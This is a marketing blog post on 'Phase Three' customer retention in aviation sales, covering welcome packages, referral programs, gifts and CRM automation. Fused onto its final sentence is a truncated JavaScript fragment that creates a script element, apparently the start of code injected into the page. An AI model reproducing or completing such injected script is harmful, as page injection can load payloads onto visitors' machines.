Phase Three problems often reveal themselves like this:
- I lost a customer to a competitor, but I don’t know why. (My product is better!)
- I have to work hard for each sale, even with established customers.
- My customers seem happy, but they just don’t go out of their way to give me testimonials.
- I don’t get many referrals. (And I don’t like to ask for them!)
If any one of these is happening, you have a Phase Three marketing problem!
We’ve often said this is the most profitable (and underutilized) phase in most marketing systems in the aviation industry. Aviation sales and marketing professionals seem to spend most of their time and money on Phase One – Advertising and Prospecting. Which is important, of course. But it’s MUCH easier, less expensive, more profitable and more fun to work with customers who already know, like and trust you.
Look at your current customer base and consider – what needs do they have that I could meet? (Or meet more completely?) How could I earn more of their business?
Phase Three Activities:
Phase Three starts immediately after you make a sale to a new customer.
It should go without saying that your product and customer service should be excellent, but those are not specifically marketing activities. But marketing activities should NOT STOP when you make a sale. Some (or all) of the activities listed could improve your chances of having a happy customer, and obtaining testimonials, referrals and repeat sales.
- Customer Appreciation Events
- A New Customer Welcome Package
- Customer Satisfaction Survey
- Follow Up Calls/Testimonial Requests
- Thank You Gifts (when they do provide testimonials and/or referrals)
- Referral incentive packages or programs
- Regular emails (“Tip of the Week,” support information, etc.)
- Printed Newsletters
- Social media connections/conversations
- Greeting cards (anniversary, birthday, etc.)
- Direct mail promotions (promoting your OTHER products, or repurchases when the time is right for consumable items.)
We don’t advise all of our clients to do all of these activities, a lot depends on the size and frequency of transactions, the probability that a customer will need to make another purchase, our estimations of the customers’ circle of influence, and several other considerations. But it’s fair to say that most companies could benefit from a much more thorough Phase Three program.
How do you find time for all these things?
- Systematize everything. Make the New Customer Welcome Package part of the product delivery process. Use the hour you spend on Facebook Fridays to connect with new customers on social media, (particularly LinkedIn. Unfortunately, LinkedIn Friday doesn’t have the same ring to it, but it works even better in the aviation industry for those networking connections.)
- Use a good CRM. (We use Infusionsoft.) You can automate emails and surveys, set up batch jobs for mailing labels, and set reminders for tasks like phone calls. This also helps you delegate and check off tasks when they’re done so those critical phone calls and follow up tasks don’t fall through the cracks.
- Use good partners.
Create a good relationship with a company that can send gifts on your behalf. Gift cards are easy, but we prefer cookies, pies, flowers, fruit baskets, coffee mugs, office items, and other physical things that make more of a “splash” when they arrive and/or tend to stick around, keeping your name in front of your customer.
Our local printing company is also a great partner who helps us keep a good supply of notepads, brochures, and other printed items on hand to keep these and other marketing systems going. They keep our graphics files on hand, let us order small numbers, and have great suggestions for us.
A great event venue, caterer or event company can give you fantastic ideas and help with those customer appreciation events. Let them help you look good!
- Keep your assets on file. Make sure your team can easily get to, use, and update letters, surveys, and other information. They’re no good if they don’t get used; people tend to “do their own thing” if you don’t have specific templates and instructions for each activity.
Implement one (or several) of these Phase Three activities and keep track of your customer retention, testimonials, and referrals over time. You’ll probably be convinced to add even more activities to your Phase Three!var d=document;var s=d.createElement(‘script’); ..